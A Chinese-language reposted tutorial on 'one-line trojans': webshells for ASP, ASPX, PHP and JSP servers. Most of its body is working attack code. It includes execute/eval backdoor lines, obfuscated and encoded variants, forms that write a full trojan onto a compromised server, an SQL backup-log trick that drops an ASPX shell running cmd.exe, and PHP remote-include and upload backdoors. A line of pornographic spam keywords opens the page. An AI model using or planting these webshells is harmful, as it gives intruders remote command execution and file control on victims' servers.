乡下人产国偷v产偷v自拍,国产午夜片在线观看,婷婷成人亚洲综合国产麻豆,久久综合给合久久狠狠狠9

  • <output id="e9wm2"></output>
    <s id="e9wm2"><nobr id="e9wm2"><ins id="e9wm2"></ins></nobr></s>

    • 分享

      一句話木馬的工作原理

       yliu277 2016-06-26

      一句話木馬的工作原理:一句話木馬分析服務(wù)端與客戶端。

      '一句話木馬'服務(wù)端(是用于本地的html提交腳本木馬文件)
      就是我們要用來(lái)插入到asp文件中的asp語(yǔ)句,(不僅僅是以asp為后綴的數(shù)據(jù)庫(kù)文件),該語(yǔ)句將回為觸發(fā),接收入侵者通過(guò)客戶端提交的數(shù)據(jù),執(zhí)行并完成相應(yīng)的操作,服務(wù)端的代碼內(nèi)容為 <%execute request('value')%> 其中value可以自己修改

      '一句話木馬'客戶端(遠(yuǎn)程服務(wù)器上被插入一句話的asp可執(zhí)行文件)
      用來(lái)向服務(wù)端提交控制數(shù)據(jù)的,提交的數(shù)據(jù)通過(guò)服務(wù)端構(gòu)成完整的asp功能語(yǔ)句并執(zhí)行,也就是生成我們所需要的asp木馬文件

       

      一句話木馬的適用環(huán)境:

      1.服務(wù)器的來(lái)賓賬戶有寫(xiě)入權(quán)限
      2.已知數(shù)據(jù)庫(kù)地址且數(shù)據(jù)庫(kù)格式為asa或asp
      3.在數(shù)據(jù)庫(kù)格式不為asp或asa的情況下,如果能將一句話插入到asp文件中也可

       

      現(xiàn)在先假設(shè)在遠(yuǎn)程主機(jī)的TEXT.ASP(客戶端)中已經(jīng)有了<%execute request('value')%>這個(gè)語(yǔ)句.)在ASP里<%execute ............')%>意思是執(zhí)行省略號(hào)里的語(yǔ)句.那么如果我寫(xiě)進(jìn)我們精心構(gòu)造的語(yǔ)句,它也是會(huì)幫我們執(zhí)行的.就按照這上面的思路,我們就可以在本地構(gòu)造一個(gè)表單內(nèi)容如下:(//為注釋)

      1. <form action=http://主機(jī)路徑/TEXT.asp method=post> 
      2.  
      3. <textarea name=value cols=120 rows=10 width=45> 
      4.  
      5. set lP=server.createObject('Adodb.Stream')//建立流對(duì)象   
      6. lP.Open //打開(kāi)  
      7. lP.Type=2 //以文本方式  
      8. lP.CharSet='gb2312' //字體標(biāo)準(zhǔn)  
      9. lP.writetext request('newvalue')  
      10.  
      11. lP.SaveToFile server.mappath('newmm.asp'),2 //將木馬內(nèi)容以覆蓋文件的方式寫(xiě)入newmm.asp,2就是已覆 蓋的方式   
      12. lP.Close //關(guān)閉對(duì)象  
      13. set lP=nothing //釋放對(duì)象  
      14. response.redirect 'newmm.asp' //轉(zhuǎn)向newmm.asp  
      15.  
      16. </textarea> 
      17.  
      18. <textarea name=newvalue cols=120 rows=10 width=45>添入生成木馬的內(nèi)容</textarea><BR><center><br> 
      19. <input type=submit value=提交> 
      20.  
      21. </form> 
      22.  

      表單的作用就是把我們表單里的內(nèi)容提交到遠(yuǎn)程主機(jī)的TEXT.ASP這個(gè)文件.然后因?yàn)門(mén)EXT.ASP里有<%execute request('value')%>這句,那么這句代碼就會(huì)執(zhí)行我們從表單里傳來(lái)的內(nèi)容哦.(表單名必須和<%execute request('value')%>里的VALUE一樣,就是我用藍(lán)色標(biāo)記的那兩處,必須相等)

      說(shuō)到這里大家是不是清楚了.我們構(gòu)造了兩個(gè)表單,第一個(gè)表單里的代碼是文件操作的代碼(就是把第二個(gè)表單內(nèi)的內(nèi)容寫(xiě)入在當(dāng)前目錄下并命名為newvalue.ASP的這么一段操作的處理代碼)那么第二個(gè)表單當(dāng)然就是我們要寫(xiě)入的馬了.

      具體的就是下面這一段:

      1. set lP=server.createObject('Adodb.Stream')//建立流對(duì)象   
      2. lP.Open //打開(kāi)  
      3. lP.Type=2 //以文本方式  
      4. lP.CharSet='gb2312' //字體標(biāo)準(zhǔn)  
      5. lP.writetext request('newvalue')  
      6.  
      7. lP.SaveToFile server.mappath('newvalue.asp'),2 //將木馬內(nèi)容以覆蓋文件的方式寫(xiě)入newmm.asp,2就是已覆 蓋的方式   
      8. lP.Close //關(guān)閉對(duì)象  
      9. set lP=nothing //釋放對(duì)象  
      10. response.redirect 'newmm.asp' //轉(zhuǎn)向newmm.asp  
      11.  

      這樣的話第二個(gè)表單的名字必須和lP.writetext request('newvalue') 里的Newvalue一樣,就是我用紅色標(biāo)注的那兩處.
      至此只要服務(wù)器有寫(xiě)的權(quán)限你表單所提交的大馬內(nèi)容就會(huì)被寫(xiě)入到newmm.asp中。即newmm.asp為我們的shell地址。

       

      關(guān)于服務(wù)器錯(cuò)誤:

      經(jīng)常,當(dāng)我們?cè)谝粋€(gè)asp文件內(nèi)添加了一句話后,就會(huì)出現(xiàn)類型不匹配的錯(cuò)誤:
       

      1. Script error detected at line 1.   
      2. Source line: execute request('nettoo')   
      3. Description: 類型不匹配: 'execute' 


      這個(gè)如何解決呢?
      想出了一個(gè)好辦法,只要用'eval'替換掉'execute'服務(wù)端,就不會(huì)出錯(cuò)了!
      用一句話客戶端連接,加入容錯(cuò)語(yǔ)句,你可以把它插入到任何ASP文件而不會(huì)像以前一樣出錯(cuò)。
      <%On Error Resume Next execute request('value')%>

      常見(jiàn)asp一句話木馬的變體:

      1. <%set ms = server.CreateObject('MSScriptControl.ScriptControl.1')  
      2. ms.Language='VBScript' 
      3. ms.AddObject 'Response', Response  
      4. ms.AddObject 'request', request  
      5. ms.AddObject 'session', session  
      6. ms.AddObject 'server', server  
      7. ms.AddObject 'application', application  
      8. ms.ExecuteStatement ('ex'&'ecute(request(chr(35)))')%> 
      9.  


      <%ExecuteGlobal request(chr(35))%>

      <%ExecuteGlobal request(chr(35))%>

      <%execute request('#')%>

      <%execute request(chr(35))%>

      <script language=VBScript runat=server>if request(chr(35))<>'''' then
      ExecuteGlobal request(chr(35))
      </script>

      <%ExecuteGlobal request(chr(35))%> 9月30日

      <%eval request('#')%>

      數(shù)據(jù)庫(kù)里插入
      ┼攠數(shù)畣整爠煥敵瑳∨∣┩愾

      utf-7的馬
      <%@ codepage=65000%>
      <% response.Charset='936'%>
      <%e j-x j-e j-c j-u j-t j-e j-( j-r j-e j-q j-u j-e j-s j-t j-( j- ACI-# ACI) j-) j-%>


      <%set ms = server.CreateObject('MSScriptControl.ScriptControl.1')
      ms.Language='VBScript'
      ms.AddObject 'Response', Response
      ms.AddObject 'request', request
      ms.AddObject 'session', session
      ms.AddObject 'server', server
      ms.AddObject 'application', application
      ms.ExecuteStatement ('ex'&'ecute(request(chr(35)))')%>

      <%@ LANGUAGE = VBScript.Encode %>
      <%#@~^PgAAAA==r6P. ;! /D`14Dv&X#*@!@*ErPPD4 P2Xn^ED VVG4Cs,Dn;!n/D`^4M`&Xb*oBMAAA==^#~@%>


      各種環(huán)境下的一句話木馬:

      aspx

      1.相當(dāng)于ASP的一句話木馬:

      程序代碼

      alter database pubs set RECOVERY FULL--
      create table pubs.dbo.cmd(a image)
      backup log pubs to disk = 'c:/TM' with init
      insert into pubs.dbo.cmd(a) values ('<%@ Page Language='C#' validateRequest='false' %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath('images.aspx'),false);ow.Write(Request.Params['l']);ow.Close()%> ')
      backup log pubs to disk = 'd:/test11.aspx'
      //這個(gè)和asp的一樣,客戶端post一個(gè)變量l 把木馬代碼丟在變量l里面就ok了 這個(gè)是類似asp的一句話木馬。
      //mu.aspx.htm 客戶端:(提交后訪問(wèn):http://IP/images.aspx)
       

      1. <form action=http://192.168.2.100/asp/mu.aspx method=post>   
      2. <b>在下面輸入大馬內(nèi)容:</b><br> 
      3. <textarea name=l cols=120 rows=35 width=45>   
      4. <%@ Page Language='VB' Debug='true' %> 
      5. <%@ import Namespace='system.IO' %> 
      6. <%@ import Namespace='System.Diagnostics' %> 
      7. <script runat='server'>   
      8. Sub RunCmd(Src As Object, E As EventArgs)   
      9. Dim myProcess As New Process()   
      10. Dim myProcessStartInfo As New ProcessStartInfo(xpath.Text)   
      11. myProcessStartInfo.UseShellExecute = False   
      12. myProcessStartInfo.RedirectStandardOutput = true   
      13. myProcess.StartInfo = myProcessStartInfo   
      14. myProcessStartInfo.Arguments=xCmd.text  
      15. myProcess.Start()  
      16. Dim myStreamReader As StreamReader = myProcess.StandardOutput   
      17. Dim myString As String = myStreamReader.Readtoend()  
      18. myProcess.Close()  
      19. mystring=replace(mystring,'<','<')  
      20. mystring=replace(mystring,'>','>')  
      21. result.textvbcrlf & '<pre>' & mystring & '</pre>'  
      22. End Sub   
      23. </script><html><head> 
      24. <title>ASP.NET Shell for WebAdmin2.X Final</title> 
      25. <meta http-equiv='Content-Type' c /></head><body> 
      26. <form runat='server'> 
      27. <asp:Label id='L_p' style='COLOR: #0000ff' runat='server' width='80px'>;Program</asp:Label> 
      28. <asp:TextBox id='xpath' style='BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid' runat='server' Width='300px'>c:/windows/system32/cmd.exe</asp:TextBox><br /> 
      29. <asp:Label id='L_a' style='COLOR: #0000ff' runat='server' width='80px'>Arguments</asp:Label> 
      30. <asp:TextBox id='xcmd' style='BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid' runat='server' Width='300px' Text='/c net user'>/c net user</asp:TextBox><br /> 
      31. <asp:Button id='Button' style='BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; COLOR: #ffffff; BORDER-BOTTOM: #084b8e 1px solid; BACKGROUND-COLOR: #719bc5' runat='server' Width='100px' Text='Run'></asp:Button><p> 
      32. <asp:Label id='result' style='COLOR: #0000ff' runat='server'></asp:Label> </p></form></body></html> 
      33. </textarea><BR><center><br>   
      34. <input type=submit value=提交> 

       

      2、下面這個(gè)是我找網(wǎng)上的asp.net的上傳文件程序,修改精簡(jiǎn)了下,也可以用:

       

      程序代碼

      drop table pubs.dbo.cmd
      alter database pubs set RECOVERY FULL
      create table pubs.dbo.cmd(a image)
      backup log pubs to disk = 'c:/TM' with init
      insert into pubs.dbo.cmd(a) values ('<script language='c#' runat='server'>private void bc(object o,EventArgs e) {string u='files';string filename;int pos=f.PostedFile.FileName.LastIndexOf('//');filename=f.PostedFile.FileName.Substring(pos 1);f.PostedFile.SaveAs(Server.MapPath(u) '//' filename);}</script><form method='post' runat='server'><input type='file' id='f' runat='server'/><input type='submit' value='ss' runat='Server' /></form>')
      backup log pubs to disk = 'c:/inetpub/wwwroot/test11.aspx'


      PHP

      本文沒(méi)有什么特別之處,僅求拋磚引玉。并送給和我一樣菜的在PHP門(mén)邊徘徊的朋友。
      剛學(xué)PHP沒(méi)幾天,我就急于功成,所以有錯(cuò)誤及不足之處請(qǐng)大家積極指出。
      PHP語(yǔ)法的強(qiáng)大是ASP望塵莫及的,僅一個(gè):<? phpinfo();?>就可以刺探整個(gè)服務(wù)器的配置。運(yùn)行cmd,上傳文件等,都是非常簡(jiǎn)便的,現(xiàn)在用的好的PHP木馬,莫過(guò)于angel的phpspy了。昨天hak_ban問(wèn)怎么給PHP木馬加密,我還沒(méi)想到,但是對(duì)于寫(xiě)一個(gè)微型PHP木馬,我想還是很難被殺的。
      這里簡(jiǎn)單探討一下幾個(gè)函數(shù)可以作為木馬的使用:

      1. 可以運(yùn)行外部命令的幾個(gè)函數(shù):system,passthru,exec,shell_exec,popen。
      例:只要將<?system($cmd);?>等保存為cmd.php及可實(shí)現(xiàn)運(yùn)行外部命令的功能。這幾個(gè)函數(shù)可以說(shuō)是最早的微行php木馬了,所以一般虛擬主機(jī)的設(shè)置也會(huì)將這些函數(shù)屏蔽的。

      2.還記得WDB論壇的style.php的漏洞嗎?我們可以利用這個(gè)做個(gè)很難被殺的小木馬。如下:
       

      1. <?php include($include);?> 


      將其保存為1.php ,我們就可以調(diào)用其他不支持php服務(wù)器里的.php木馬(如phpspy.php)來(lái)達(dá)到我們的目的:http:///1.php? Include=http://www./phpspy.php
      這里http://www.是不支持php的,否則將會(huì)在http://www.這臺(tái)服務(wù)器運(yùn)行phpspy.php,而不是目標(biāo)服務(wù)器。

      3. 這個(gè)還是angel在Discuz 2.2F的攻擊中給我們的一個(gè)非常好的上傳木馬,我沒(méi)有改:
       

      1. <?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?> 


      將其保存為up.php后,在本地提交表單:
       

      1. <form ENCTYPE='multipart/form-data' ACTION='http://目標(biāo)服務(wù)器/up.php' METHOD='POST'> 
      2. <input NAME='MyFile' TYPE='file'> 
      3. <input VALUE=' 提交 ' TYPE='submit'> 
      4. </form> 


      就可以把大個(gè)的php木馬上傳上去。

      4. 我一直在想有沒(méi)有同冰狐浪子的那個(gè)ASP一句話木馬一樣通過(guò)本地表單提交運(yùn)行的PHP木馬。終于找到了函數(shù):eval,在PHP4中文參考手冊(cè)上它的語(yǔ)法說(shuō)明:
      語(yǔ)法: void eval(string code_str);
      內(nèi)容說(shuō)明:本函數(shù)可將字符串之中的變量值代入,通常用在處理數(shù)據(jù)庫(kù)的資料上。參數(shù) code_str 為欲處理的字符串。值的 注意的是待處理的字符串要符合 PHP 的字符串格式,同時(shí)在結(jié)尾處要有分號(hào)。使用本函數(shù)處理后的字符串會(huì)沿續(xù)到 PHP 程序結(jié)束。

      我們可以在目標(biāo)主機(jī)上保存:<?eval($cmd);?>為一個(gè)PHP文件(我想也可以插在PHP任意文件里)。然后通過(guò)本地提交來(lái)達(dá)到目的,但與ASP不同的是,在magic_quotes_gpc = on的時(shí)候,過(guò)濾的很多的字符,使得這個(gè)使用功能大大的縮小。

      對(duì)于這個(gè)PHP木馬本地表單我做了很多次,還沒(méi)有成熟的代碼。還請(qǐng)高手指教。寫(xiě)好后會(huì)奉獻(xiàn)給大家的。但是eval這個(gè)函數(shù)可以做微型PHP木馬是無(wú)須質(zhì)疑的。
      Ps:寫(xiě)完后,有人告訴我,其實(shí)高手早就有微型的PHP木馬了,只是沒(méi)有公開(kāi)。哎,我好郁悶啊,研究的都是人家早就有了的成果。不管怎么樣,和大家分享一下我的研究,希望能得到幫助和指教。


      JSP

      1. <%  
      2. if(request.getParameter('f')!=null)(new java.io.FileOutputStream(application.getRealPath('//') request.getParameter('f'))).write(request.getParameter('t').getBytes());  
      3. %> 


      這個(gè) 后門(mén)估計(jì)不用我說(shuō)了吧.還是提示一下咯.保存為1.jsp 提交url!

      http://localhost/1.jsp?f=1.txt&t=hello

      然后:http://localhost/1.txt 就出來(lái)了 內(nèi)容為 hello .....

        本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
        轉(zhuǎn)藏 分享 獻(xiàn)花(0

        0條評(píng)論

        發(fā)表

        請(qǐng)遵守用戶 評(píng)論公約

        類似文章 更多